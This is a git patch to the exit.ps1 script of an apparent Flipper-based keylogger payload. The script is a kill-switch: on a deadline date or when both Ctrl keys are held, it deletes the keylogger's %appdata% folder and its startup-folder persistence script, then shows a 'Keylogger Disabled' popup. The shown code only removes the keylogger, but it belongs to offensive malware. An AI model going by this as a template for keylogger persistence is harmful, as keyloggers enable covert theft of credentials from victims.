From f89a03735237f9f2de754eab5768c55f03b8b185 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Sun, 25 Dec 2022 22:59:09 -0600 Subject: [PATCH] Update exit.ps1 --- Payloads/Flip-Keylogger/exit.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Payloads/Flip-Keylogger/exit.ps1 b/Payloads/Flip-Keylogger/exit.ps1 index 6e58b25..ea56a7e 100644 --- a/Payloads/Flip-Keylogger/exit.ps1 +++ b/Payloads/Flip-Keylogger/exit.ps1 @@ -3,11 +3,14 @@ Add-Type -AssemblyName PresentationCore $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') +Add-Type -AssemblyName PresentationCore,PresentationFramework + while($true){ if(((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){ sleep 10 Remove-Item "$env:appdata\-locker" -Recurse -Force; Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd" +$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3) Remove-Item "$env:appdata\-exit.ps1" } else{continue}